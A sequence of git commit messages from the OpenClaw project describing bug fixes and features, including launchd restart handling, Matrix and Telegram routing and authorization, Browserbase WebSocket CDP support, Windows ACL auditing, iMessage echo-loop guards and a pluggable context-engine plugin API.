code 1 instead of 0 so launchd/systemd treats it as a failure and
triggers a clean process restart. Stop-timeout stays at exit(0)
since graceful stops should not cause supervisor recovery.
Closes#36822
The repair/recovery path had the same missing `enable` guard as
`restartLaunchAgent`. If launchd persists a "disabled" state after a
previous `bootout`, the `bootstrap` call in `repairLaunchAgentBootstrap`
fails silently, leaving the gateway unloaded in the recovery flow.
Add the same `enable` guard before `bootstrap` that was already applied
to `installLaunchAgent` and (in this PR) `restartLaunchAgent`.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
restartLaunchAgent was missing the launchctl enable call that
installLaunchAgent already performs. launchd can persist a "disabled"
state after bootout, causing bootstrap to silently fail and leaving the
gateway unloaded until a manual reinstall.
Fixes#39211
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(matrix): remove memberCount heuristic from DM detection
The memberCount === 2 check in isDirectMessage() misclassifies 2-person
group rooms (admin channels, monitoring rooms) as DMs, routing them to
the main session instead of their room-specific session.
Matrix already distinguishes DMs from groups at the protocol level via
m.direct account data and is_direct member state flags. Both are already
checked by client.dms.isDm() and hasDirectFlag(). The memberCount
heuristic only adds false positives for 2-person groups.
Move resolveMemberCount() below the protocol-level checks so it is only
reached for rooms not matched by m.direct or is_direct. This narrows its
role to diagnostic logging for confirmed group rooms.
Refs: #19739
* fix(matrix): add conservative fallback for broken DM flags
Some homeservers (notably Continuwuity) have broken m.direct account
data or never set is_direct on invite events. With the memberCount
heuristic removed, these DMs are no longer detected.
Add a conservative fallback that requires two signals before classifying
as DM: memberCount === 2 AND no explicit m.room.name. Group rooms almost
always have explicit names; DMs almost never do.
Error handling distinguishes M_NOT_FOUND (missing state event, expected
for unnamed rooms) from network/auth errors. Non-404 errors fall through
to group classification rather than guessing.
This is independently revertable — removing this commit restores pure
protocol-based detection without any heuristic fallback.
* fix(matrix): add parentPeer for DM room binding support
Add parentPeer to DM routes so conversations are bindable by room ID
while preserving DM trust semantics (secure 1:1, no group restrictions).
Suggested by @KirillShchetinin.
* fix(matrix): override DM detection for explicitly configured rooms
Builds on @robertcorreiro's config-driven approach from #9106.
Move resolveMatrixRoomConfig() before the DM check. If a room matches
a non-wildcard config entry (matchSource === "direct") and was
classified as DM, override the classification to group. This gives users
a deterministic escape hatch for misclassified rooms.
Wildcards are excluded from the override to avoid breaking DM routing
when a "*" catch-all exists. roomConfig is gated behind isRoom so DMs
never inherit group settings (skills, systemPrompt, autoReply).
This commit is independently droppable if the scope is too broad.
* test(matrix): add DM detection and config override tests
- 15 unit tests for direct.ts: all detection paths, priority order,
M_NOT_FOUND vs network error handling, edge cases (whitespace names,
API failures)
- 8 unit tests for rooms.ts: matchSource classification, wildcard
safety for DM override, direct match priority over wildcard
* Changelog: note matrix DM routing follow-up
* fix(matrix): preserve DM fallback and room bindings
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(tui): improve colour contrast for light-background terminals (#38636)
Detect light terminal backgrounds via COLORFGBG and apply a WCAG
AA-compliant light palette. Adds OPENCLAW_THEME=light|dark env var
override for terminals without auto-detection.
Uses proper sRGB linearisation and WCAG 2.1 contrast ratios to pick
whichever text palette (dark or light) has higher contrast against
the detected background colour.
Co-authored-by: ademczuk <ademczuk@users.noreply.github.com>
* Update CHANGELOG.md
---------
Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
Co-authored-by: ademczuk <ademczuk@users.noreply.github.com>
* fix(run-openclaw-podman): add SELinux :Z mount option on Linux with enforcing/permissive SELinux
* fix(quadlet): add SELinux :Z label to openclaw.container.in volume mount
* fix(podman): add SELinux :Z mount option for Fedora/RHEL hosts
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>
---------
Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
* fix(setup-podman): cd to TMPDIR before podman load to avoid inherited cwd permission error
* fix(podman): safe cwd in run_as_user to prevent chdir errors
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Signed-off-by: sallyom <somalley@redhat.com>
---------
Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
- Zod schema: validate relayBindHost with ipv4/ipv6 instead of bare string
- Upgrade handler: allow non-loopback connections when bindHost is explicitly
non-loopback (e.g. 0.0.0.0 for WSL2), keeping loopback-only default
- Test: verify actual bind address via relay.bindHost instead of just checking
reachability on 127.0.0.1 which passes regardless
- Expose bindHost on ChromeExtensionRelayServer type for inspection
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Add browser.relayBindHost config option so the Chrome extension relay
server can bind to a non-loopback address (e.g. 0.0.0.0 for WSL2).
Defaults to 127.0.0.1 when unset, preserving current behavior.
Closes#39214
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Containerized browsers (e.g. browserless in Docker) report
`ws://0.0.0.0:<internal-port>` in their `/json/version` response.
`normalizeCdpWsUrl` rewrites loopback WS hosts to the external
CDP host:port, but `0.0.0.0` and `[::]` were not treated as
addresses needing rewriting, causing OpenClaw to try connecting
to `ws://0.0.0.0:3000` literally — which always fails.
Fixes#17752
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Two pre-existing tests still expected ws:// URLs to be rejected by
parseHttpUrl, which now accepts them. Switch the invalid-protocol
fixture to ftp:// and tighten the assertion to match the full
"must be http(s) or ws(s)" error message.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Add 12 new tests covering: isWebSocketUrl detection, parseHttpUrl WSS
acceptance/rejection, direct WS target creation with query params,
SSRF enforcement on WS URLs, WS reachability probing bypasses HTTP
- Reframe docs section as generic "Direct WebSocket CDP providers" with
Browserbase as one example — any WSS-based provider works
- Update security tips to mention WSS alongside HTTPS
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Browserbase uses direct WebSocket connections (wss://) rather than the
standard HTTP-based /json/version CDP discovery flow used by Browserless.
This change teaches the browser tool to accept ws:// and wss:// URLs as
cdpUrl values: when a WebSocket URL is detected, OpenClaw connects
directly instead of attempting HTTP discovery.
Changes:
- config.ts: accept ws:// and wss:// in cdpUrl validation
- cdp.helpers.ts: add isWebSocketUrl() helper
- cdp.ts: skip /json/version when cdpUrl is already a WebSocket URL
- chrome.ts: probe WSS endpoints via WebSocket handshake instead of HTTP
- cdp.test.ts: add test for direct WebSocket target creation
- docs/tools/browser.md: update Browserbase section with correct URL
format and notes
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Fix CAPTCHA/stealth/proxy claims: these are Developer plan+ only,
not available on free tier
- Fix free tier limits: 1 browser hour, 15-min session duration
(not "60 minutes of monthly usage")
- Add link to pricing page for paid plan details
- Simplify structure to match Browserless section format
- Remove sub-headings to match Browserless section style
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Browserbase exposes a direct WebSocket connect endpoint that
auto-creates a session, similar to how Browserless works. Simplified
the section to use this static URL pattern instead of requiring
manual session creation via the API.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Browserbase requires creating a session via their API to get a CDP
connect URL, unlike Browserless which uses a static endpoint. Updated
to show the correct curl-based session creation flow, removed
unverified static WebSocket URL, and added the 5-minute connect
timeout note from official docs.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Rename "Configuration" sub-heading to "Profile setup" to avoid
MD024/no-duplicate-heading conflict with the existing top-level
"Configuration" heading.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add Browserbase documentation section alongside the existing Browserless
section in the browser docs. Includes signup instructions, CDP connection
configuration, and environment variable setup.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add Browserbase documentation section alongside the existing Browserless
section in the browser docs. Includes signup instructions, CDP connection
configuration, and environment variable setup for both English and Chinese
(zh-CN) translations.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Add support for Brave's LLM Context API endpoint (/res/v1/llm/context)
as an optional mode for the web_search tool. When configured with
tools.web.search.brave.mode set to llm-context, the tool returns
pre-extracted page content optimized for LLM grounding instead of
standard URL/snippet results.
The llm-context cache key excludes count and ui_lang parameters that
the LLM Context API does not accept, preventing unnecessary cache
misses.
Closes#14992
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The bundled Feishu extension fails to load after npm global install because
`@larksuiteoapi/node-sdk` was removed from the root package.json in
e1503349c ("scope extension runtime deps to plugin manifests").
Bundled extensions shipped inside the npm package resolve modules through
the root node_modules tree. Since `.gitignore` excludes nested
`node_modules/` directories, the extension-level `node_modules/` is
never published, so the module is unreachable at runtime.
Other bundled channel dependencies (e.g. `@discordjs/voice`,
`@slack/bolt`) remain in the root manifest for the same reason.
Re-add the entry — matching the version already declared in
`extensions/feishu/package.json` — so that both global npm installs and
the bundled extension path can locate the SDK.
Closes#39733
Add taskHint = .dictation to Talk Mode's SFSpeechAudioBufferRecognitionRequest,
matching what Voice Wake already sets. Without this hint the recognizer may not
properly initialize audio capture, causing Talk Mode to appear unresponsive.
Co-Authored-By: dmiv <dmiv@users.noreply.github.com>
When a user configures `models.providers.openai-codex` with a models
array but omits the `api` field, `buildInlineProviderModels` produces
an entry with `api: undefined`. The inline-match early return then
hands this incomplete model straight to the caller, skipping the
forward-compat resolver that would supply the correct
`openai-codex-responses` api — causing a crash loop.
Let the inline match fall through to forward-compat when `api` is
absent so the resolver chain can fill it in.
Fixes#39682
- Add test ensuring launchd path never returns "failed" status
- Add CHANGELOG.md entry documenting the fix with issue/PR references
- Reference ThrottleInterval evolution (#27650 → #29078 → current 1s)
Remove redundant rationale from test body (test names already convey it)
and trim the production comment to what/consequence/link (mechanism
details live in #39760).
When the gateway needs a config-triggered restart under launchd, calling
`launchctl kickstart -k` from within the service itself races with
launchd's async bootout state machine:
1. `kickstart -k` initiates a launchd bootout → SIGTERM to self
2. Gateway ignores SIGTERM during shutdown → process doesn't exit
3. 2s `spawnSync` timeout kills the launchctl child, but launchd
continues the bootout asynchronously
4. Fallback `launchctl bootstrap` fails with EIO (service mid-bootout)
5. In-process restart runs on the same PID that launchd will SIGKILL
6. LaunchAgent is permanently unloaded — no auto-restart
Fix: on darwin/launchd, skip `triggerOpenClawRestart()` entirely.
The caller already calls `exitProcess(0)` for supervised mode, and
`KeepAlive=true` (always set in the plist template) restarts the
service within ~1 second.
The schtasks (Windows) path is unchanged — Windows doesn't have an
equivalent KeepAlive mechanism.
resolveChannelRestartReason did not handle the "disconnected" evaluation
reason explicitly, so it fell through to "stuck". This conflates a clean
WebSocket drop (e.g. Discord 1006) with a genuinely stuck channel, making
logs misleading and preventing future policy differentiation.
Add "disconnected" to ChannelRestartReason and handle it before the
catch-all "stuck" return.
Closes#36404
* fix(agents): add custom api registry helper
* fix(ollama): register native api for embedded runs
* fix(ollama): register custom api before compaction
* fix(tts): register custom api before summarization
* changelog: note ollama compaction registration fix
* fix(ollama): honor resolved base urls in custom api paths
Rebased and landed contributor work from @chengzhichao-xydt for the
Telegram multi-account DM regression in #32351.
Co-authored-by: Zhichao Cheng <cheng.zhichao@xydigit.com>
* fix(ollama): support thinking field fallback in native stream
* fix(models): honor explicit lower token limits in merge mode
* fix(ollama): prefer streamed content over fallback thinking
* changelog: note Ollama local model fixes
* fix(telegram): use group allowlist for native command auth in groups
Native slash commands (/status, /model, etc.) in Telegram supergroups
and forum topics reject authorized senders with "not authorized" even
when the sender is in groupAllowFrom.
The bug is in resolveTelegramCommandAuth — the final commandAuthorized
check only passes DM allowFrom as an authorizer, so senders who are
authorized via groupAllowFrom get rejected. Regular messages don't have
this problem because they go through evaluateTelegramGroupPolicyAccess
which correctly uses effectiveGroupAllow.
Add effectiveGroupAllow as a second authorizer when the message comes
from a group. resolveCommandAuthorizedFromAuthorizers uses .some(), so
either DM or group allowlist matching is sufficient.
Fixes#28216Fixes#29135Fixes#30234
* fix(test): resolve TS2769 type errors in group-auth test
Remove explicit tuple type annotations on mock.calls.filter() callbacks
that conflicted with vitest's mock call types.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* test(telegram): cover topic auth rejection routing
* changelog: note telegram native group command auth fix
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(telegram): support negative IDs in groupAllowFrom for group/channel whitelist (#36753)
When configuring Telegram group restrictions with groupAllowFrom,
negative group/channel IDs (e.g., -1001234567890) are rejected with
'authorization requires numeric Telegram sender IDs only' error,
even though the field name suggests it should accept group IDs.
Root cause:
- normalizeAllowFrom() uses regex /^\d+$/ to validate IDs
- Telegram group/channel IDs are negative integers
- Regex only matches positive integers, rejecting all group IDs
Impact:
- Users cannot whitelist specific groups using groupAllowFrom
- Workaround requires groupPolicy: "open" (security risk)
- Field name is misleading (suggests group IDs, but only accepts user IDs)
Fix:
- Change regex from /^\d+$/ to /^-?\d+$/ (support optional minus sign)
- Apply to both invalidEntries filter and ids filter
- Add comment explaining negative ID support for groups/channels
Testing:
- Positive user IDs (745123456) → ✅ still work
- Negative group IDs (-1001234567890) → ✅ now accepted
- Invalid entries (@username) → ⚠️ still warned
Fixes#36753
* test(telegram): add signed ID runtime regression
---------
Co-authored-by: Martin Qiu <qiuyuemartin@gmail.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Land #33757 by @lsdcc01 without the unrelated dependency bump. Preserve negative FTS5 BM25 ordering in hybrid scoring and add changelog coverage for #5767.
Co-authored-by: 丁春才0668000523 <ding.chuncai1@xydigit.com>
Land #9040 by @joetomasone. Add fail-closed config loading, compat coverage, and changelog entry for #5052.
Co-authored-by: Joe Tomasone <joe@tomasone.com>
Separate shared gateway auth from cached device-token signing in Control UI browser auth. Preserves shared-token validation while keeping cached device tokens scoped to signed device payloads.
Co-authored-by: Frad LEE <fradser@gmail.com>
* fix(cron): eliminate double-announce and replace delivery polling with push-based flow
- Set deliveryAttempted=true in announce early-return paths (active-subagent
suppression and stale-interim suppression) so the heartbeat timer no longer
fires a redundant enqueueSystemEvent fallback (double-announce bug).
- Refactor waitForDescendantSubagentSummary to use event-based agent.wait RPC
calls instead of a 500ms busy-poll loop. Each active descendant run is now
awaited concurrently via Promise.allSettled, and only a short bounded grace
period (5s) remains to capture the cron agent's post-orchestration synthesis.
Eliminates O(n*timeoutMs/500ms) gateway calls and wasted wall-clock time.
- Add FAST_TEST_MODE (OPENCLAW_TEST_FAST=1) to subagent-followup.ts to keep
the grace-period tests instant in CI.
- Add comprehensive tests for the new waitForDescendantSubagentSummary behaviour
(push-based wait, error resilience, NO_REPLY handling, multi-descendant waits).
* fix: prep cron double-announce followup tests (#39089) (thanks @tyler6204)
* fix(line): enforce requireMention gating in group message handler
* fix(line): scope canDetectMention to text messages, pass hasAnyMention
* fix(line): fix TS errors in mentionees type and test casts
* feat(line): register LINE in DOCKS and CHAT_CHANNEL_ORDER
- Add "line" to CHAT_CHANNEL_ORDER and CHAT_CHANNEL_META in registry.ts
- Export resolveLineGroupRequireMention and resolveLineGroupToolPolicy
in group-mentions.ts using the generic resolveChannelGroupRequireMention
and resolveChannelGroupToolsPolicy helpers (same pattern as iMessage)
- Add "line" entry to DOCKS in dock.ts so resolveGroupRequireMention
in the reply stage can correctly read LINE group config
Fixes the third layer of the requireMention bug: previously
getChannelDock("line") returned undefined, causing the reply-stage
resolveGroupRequireMention to fall back to true unconditionally.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(line): pending history, requireMention default, mentionPatterns fallback
- Default requireMention to true (consistent with other channels)
- Add mentionPatterns regex fallback alongside native isSelf/@all detection
- Record unmentioned group messages via recordPendingHistoryEntryIfEnabled
- Inject pending history context in buildLineMessageContext when bot is mentioned
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* test(line): update tests for requireMention default and pending history
- Add requireMention: false to 6 group tests unrelated to mention gating
(allowlist, replay dedup, inflight dedup, error retry) to preserve
their original intent after the default changed from false to true
- Add test: skips group messages by default when requireMention not configured
- Add test: records unmentioned group messages as pending history
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(line): use undefined instead of empty string as historyKey sentinel
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(line): deliver pending history via InboundHistory, not Body mutation
- Remove post-hoc ctxPayload.Body injection (BodyForAgent takes priority
in the prompt pipeline, so Body was never reached)
- Pass InboundHistory array to finalizeInboundContext instead, matching
the Telegram pattern rendered by buildInboundUserContextPrefix
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(line): pass agentId to buildMentionRegexes for per-agent mentionPatterns
- Resolve route before mention gating to obtain agentId
- Pass agentId to buildMentionRegexes, matching Telegram behavior
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(line): clear pending history after handled group turn
- Call clearHistoryEntriesIfEnabled after processMessage for group messages
- Prevents stale skipped messages from replaying on subsequent mentions
- Matches Discord, Signal, Slack, iMessage behavior
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* style(line): fix import order and merge orphaned JSDoc in bot-handlers
- Move resolveAgentRoute import from ./local group to ../routing group
- Merge duplicate JSDoc blocks above getLineMentionees into one
Addresses Greptile review comments r2888826724 and r2888826840 on PR #35847.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(line): read historyLimit from config and guard clear with has()
- bot.ts: resolve historyLimit from cfg.messages.groupChat.historyLimit
with fallback to DEFAULT_GROUP_HISTORY_LIMIT, so setting historyLimit: 0
actually disables pending history accumulation
- bot-handlers.ts: add groupHistories.has(historyKey) guard before
clearHistoryEntriesIfEnabled to prevent writing empty buckets for
groups that have never accumulated pending history (memory leak)
Addresses Codex review comments r2888829146 and r2888829152 on PR #35847.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* style(line): apply oxfmt formatting to bot-handlers and bot
Auto-formatted by oxfmt to fix CI format:check failure on PR #35847.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(line): add shouldLogVerbose to globals mock in bot-handlers test
resolveAgentRoute calls shouldLogVerbose() from globals.js; the mock
was missing this export, causing 13 test failures.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* Address review findings for #35847
---------
Co-authored-by: Kaiyi <me@kaiyi.cool>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Yi-Cheng Wang <yicheng.wang@heph-ai.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(security): use icacls /sid for locale-independent Windows ACL audit
On non-English Windows editions (Russian, Chinese, etc.) icacls prints
account names in the system locale. When Node.js reads the output in a
different code page the strings are garbled (e.g. "NT AUTHORITY\???????"
for "NT AUTHORITY\СИСТЕМА"), causing summarizeWindowsAcl to classify SYSTEM
and Administrators as untrusted and flag the config files as "others
writable" — a false-positive security alert.
Fix:
1. Pass /sid to icacls so it outputs security identifiers (*S-1-5-X-...)
instead of locale-dependent account names.
2. Extend SID_RE to accept the leading * that icacls prepends to SIDs in
/sid mode: /^\*?s-\d+-\d+(-\d+)+$/i
3. Strip the * before looking up the bare SID in TRUSTED_SIDS / the
per-user USERSID set so *S-1-5-18 is correctly classified as SYSTEM
(trusted) and *S-1-5-32-544 as Administrators (trusted).
Tests:
- Update the inspectWindowsAcl "returns parsed ACL entries" assertion to
expect the /sid flag in the icacls call.
- Add "classifies *S-1-5-18 (icacls /sid prefix form of SYSTEM) as trusted"
SID classification test.
- Add "classifies *S-1-5-32-544 (icacls /sid Administrators) as trusted".
- Add inspectWindowsAcl end-to-end test with /sid-format mock output
(*S-1-5-18, *S-1-5-32-544, user SID) — all three classified as trusted.
Fixes#35834
* fix(security): classify world-equivalent SIDs as 'world' when using icacls /sid
When icacls is invoked with /sid, world-equivalent principals like
Everyone, Authenticated Users, and BUILTIN\Users are emitted as raw
SIDs (*S-1-1-0, *S-1-5-11, *S-1-5-32-545). classifyPrincipal() had
no SID-based mapping for these, so they fell through to the generic
'group' category instead of 'world', silently downgrading security
findings that should trigger world-write/world-readable alerts.
Fix: add a WORLD_SIDS constant and check it before falling back to
'group'. Add three regression tests to lock in the behaviour.
* Security: resolve owner SID fallback for Windows ACL audit
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(telegram): resolve session entry for /stop in forum topics
Fixes#38675
- Export normalizeStoreSessionKey from store.ts for reuse
- Use it in resolveSessionEntryForKey so topic session keys (lowercase
in store) are found when handling /stop
- Add test for forum topic session key lookup
* fix(telegram): share native topic routing with inbound messages
* fix: land telegram topic routing follow-up (#38871)
---------
Co-authored-by: xialonglee <li.xialong@xydigit.com>
The nodes tool was passing rawCommand: formatExecCommand(command) to
system.run.prepare, which produced the full formatted argv string
(e.g. 'powershell -Command "echo hello"'). However,
validateSystemRunCommandConsistency() recognizes shell wrappers like
powershell/bash and extracts the inner command as the 'inferred' value
(e.g. 'echo hello'). This caused a rawCommand vs inferred mismatch,
breaking all nodes run commands with shell wrappers.
The fix removes the explicit rawCommand parameter, letting the
validation correctly infer the command text from the argv array.
Fixes#33080
* fix(imessage): prevent echo loop from leaking internal metadata and amplifying NO_REPLY into queue overflow
- Add outbound sanitization at channel boundary (sanitize-outbound.ts):
strips thinking/reasoning tags, relevant-memories tags, model-specific
separators (+#+#), and assistant role markers before iMessage delivery
- Add inbound reflection guard (reflection-guard.ts): detects and drops
messages containing assistant-internal markers that indicate a reflected
outbound message, preventing recursive echo amplification
- Harden echo cache: increase text TTL from 5s to 30s to catch delayed
reflections that previously expired before the echo could be detected
- Add loop rate limiter (loop-rate-limiter.ts): per-conversation rapid-fire
detection that suppresses conversations exceeding threshold within a
time window, acting as a safety net against amplification
Closes#33281
* fix(imessage): address review — stricter reflection regex, loop-aware rate limiter
- Reflection guard: require closing > bracket on thinking/final/memory
tag patterns to prevent false-positives on user phrases like
'<final answer>' or '<thought experiment>' (#33295 review)
- Rate limiter: only record echo/reflection/from-me drops instead of
all dispatches, so the limiter acts as a loop-specific escalation
mechanism rather than a general throttle on normal conversation
velocity (#33295 review)
* Changelog: add iMessage echo-loop hardening entry
* iMessage: restore short echo-text TTL
* iMessage: ignore reflection markers in code
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: strip skill-injected env vars from ACP harness spawn env
Skill apiKey entries (e.g., openai-image-gen with primaryEnv=OPENAI_API_KEY)
are set on process.env during agent runs and only reverted after the run
completes. ACP harnesses like Codex CLI inherit these vars, causing them
to silently use API billing instead of their own auth (e.g., OAuth).
The fix tracks which env vars are actively injected by skill overrides in
a module-level Set (activeSkillEnvKeys) and strips them in
resolveAcpClientSpawnEnv() before spawning ACP child processes.
Fixes#36280
* ACP: type spawn env for stripped keys
* Skills: cover active env key lifecycle
* Changelog: note ACP skill env isolation
* ACP: preserve shell marker after env stripping
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
The `timeout` property is not part of the Lark SDK method signatures,
causing TS2353 errors. The client-level `httpTimeoutMs` already applies
the timeout to all requests.
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The dashboard screenshot uses a relative path `src="whatsapp-openclaw.jpg"`
which resolves correctly on the English root page but produces 404 on
zh-CN and ja-JP pages because Mintlify prepends the language subdirectory
to the CDN path.
Change to absolute path `/whatsapp-openclaw.jpg` in all three index files,
consistent with other images on the same page that already use absolute
paths (e.g. `/assets/openclaw-logo-text-dark.png`).
* add web search to onboarding flow
* remove post onboarding step (now redundant)
* post-onboarding nudge if no web search set up
* address comments
* fix test mocking
* add enabled: false assertion to the no-key test
* --skip-search cli flag
* use provider that a user has a key for
* add assertions, replace the duplicated switch blocks
* test for quickstart fast-path with existing config key
* address comments
* cover quickstart falls through to key test
* bring back key source
* normalize secret inputs instead of direct string trimming
* preserve enabled: false if it's already set
* handle missing API keys in flow
* doc updates
* hasExistingKey to detect both plaintext strings and SecretRef objects
* preserve enabled state only on the "keep current" paths
* add test for preserving
* better gate flows
* guard against invalid provider values in config
* Update src/commands/configure.wizard.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
* format fix
* only mentions env var when it's actually available
* search apiKey fields now typed as SecretInput
* if no provider check if any search provider key is detectable
* handle both kimi keys
* remove .filter(Boolean)
* do not disable web_search after user enables it
* update resolveSearchProvider
* fix(onboarding): skip search key prompt in ref mode
* fix: add onboarding web search step (#34009) (thanks @kesku)
---------
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Co-authored-by: Shadow <hi@shadowing.dev>
* WhatsApp: add media cap helper
* WhatsApp: cap outbound media loads
* WhatsApp: align auto-reply media caps
* WhatsApp: add outbound media cap test
* WhatsApp: update auto-reply cap tests
* Docs: update WhatsApp media caps
* Changelog: note WhatsApp media cap fix
* Telegram: default media cap to 100MB
* Telegram: honor outbound mediaMaxMb
* Discord: add shared media upload cap
* Discord: pass mediaMaxMb to outbound sends
* Telegram: cover outbound media cap sends
* Discord: cover media upload cap config
* Docs: update Telegram media cap guide
* Docs: update Telegram config reference
* Changelog: note media upload cap fix
* Docs: note Discord upload cap behavior
The MEDIA: output token must appear at line start with no space after
the colon for OpenClaw's splitMediaFromOutput parser to extract the
file path and auto-attach media on outbound chat channels (Discord,
Telegram, WhatsApp, etc.).
The script was printing 'MEDIA: /path' (with space), which while
tolerated by the regex, does not match the canonical 'MEDIA:/path'
format used by all other skills (e.g. openai-image-gen) and tested
in the codebase (pi-embedded-subscribe.tools.media.test.ts,
media/parse.test.ts).
Also updated the comment to clarify the format constraint.
* feat(context-engine): add ContextEngine interface and registry
Introduce the pluggable ContextEngine abstraction that allows external
plugins to register custom context management strategies.
- ContextEngine interface with lifecycle methods: bootstrap, ingest,
ingestBatch, afterTurn, assemble, compact, prepareSubagentSpawn,
onSubagentEnded, dispose
- Module-level singleton registry with registerContextEngine() and
resolveContextEngine() (config-driven slot selection)
- LegacyContextEngine: pass-through implementation wrapping existing
compaction behavior for 100% backward compatibility
- ensureContextEnginesInitialized() guard for safe one-time registration
- 19 tests covering contract, registry, resolution, and legacy parity
* feat(plugins): add context-engine slot and registerContextEngine API
Wire the ContextEngine abstraction into the plugin system so external
plugins can register context engines via the standard plugin API.
- Add 'context-engine' to PluginKind union type
- Add 'contextEngine' slot to PluginSlotsConfig (default: 'legacy')
- Wire registerContextEngine() through OpenClawPluginApi
- Export ContextEngine types from plugin-sdk for external consumers
- Restore proper slot-based resolution in registry
* feat(context-engine): wire ContextEngine into agent run lifecycle
Integrate the ContextEngine abstraction into the core agent run path:
- Resolve context engine once per run (reused across retries)
- Bootstrap: hydrate canonical store from session file on first run
- Assemble: route context assembly through pluggable engine
- Auto-compaction guard: disable built-in auto-compaction when
the engine declares ownsCompaction (prevents double-compaction)
- AfterTurn: post-turn lifecycle hook for ingest + background
compaction decisions
- Overflow compaction: route through contextEngine.compact()
- Dispose: clean up engine resources in finally block
- Notify context engine on subagent lifecycle events
Legacy engine: all lifecycle methods are pass-through/no-op, preserving
100% backward compatibility for users without a context engine plugin.
* feat(plugins): add scoped subagent methods and gateway request scope
Expose runtime.subagent.{run, waitForRun, getSession, deleteSession}
so external plugins can spawn sub-agent sessions without raw gateway
dispatch access.
Uses AsyncLocalStorage request-scope bridge to dispatch internally via
handleGatewayRequest with a synthetic operator client. Methods are only
available during gateway request handling.
- Symbol.for-backed global singleton for cross-module-reload safety
- Fallback gateway context for non-WS dispatch paths (Telegram/WhatsApp)
- Set gateway request scope for all handlers, not just plugin handlers
- 3 staleness tests for fallback context hardening
* feat(context-engine): route /compact and sessions.get through context engine
Wire the /compact command and sessions.get handler through the pluggable
ContextEngine interface.
- Thread tokenBudget and force parameters to context engine compact
- Route /compact through contextEngine.compact() when registered
- Wire sessions.get as runtime alias for plugin subagent dispatch
- Add .pebbles/ to .gitignore
* style: format with oxfmt 0.33.0
Fix duplicate import (ControlUiRootState in server.impl.ts) and
import ordering across all changed files.
* fix: update extension test mocks for context-engine types
Add missing subagent property to bluebubbles PluginRuntime mock.
Add missing registerContextEngine to lobster OpenClawPluginApi mock.
* fix(subagents): keep deferred delete cleanup retryable
* style: format run attempt for CI
* fix(rebase): remove duplicate embedded-run imports
* test: add missing gateway context mock export
* fix: pass resolved auth profile into afterTurn compaction
Ensure the embedded runner forwards resolved auth profile context into
legacy context-engine compaction params on the normal afterTurn path,
matching overflow compaction behavior. This allows downstream LCM
summarization to use the intended provider auth/profile consistently.
Also fix strict TS typing in external-link token dedupe and align an
attempt unit test reasoningLevel value with the current ReasoningLevel
enum.
Regeneration-Prompt: |
We were debugging context-engine compaction where downstream summary
calls were missing the right auth/profile context in normal afterTurn
flow, while overflow compaction already propagated it. Preserve current
behavior and keep changes additive: thread the resolved authProfileId
through run -> attempt -> legacy compaction param builder without
broad refactors.
Add tests that prove the auth profile is included in afterTurn legacy
params and that overflow compaction still passes it through run
attempts. Keep existing APIs stable, and only adjust small type issues
needed for strict compilation.
* fix: remove duplicate imports from rebase
* feat: add context-engine system prompt additions
* fix(rebase): dedupe attempt import declarations
* test: fix fetch mock typing in ollama autodiscovery
* fix(test): add registerContextEngine to diffs extension mock APIs
* test(windows): use path.delimiter in ios-team-id fixture PATH
* test(cron): add model formatting and precedence edge case tests
Covers:
- Provider/model string splitting (whitespace, nested paths, empty segments)
- Provider normalization (casing, aliases like bedrock→amazon-bedrock)
- Anthropic model alias normalization (opus-4.5→claude-opus-4-5)
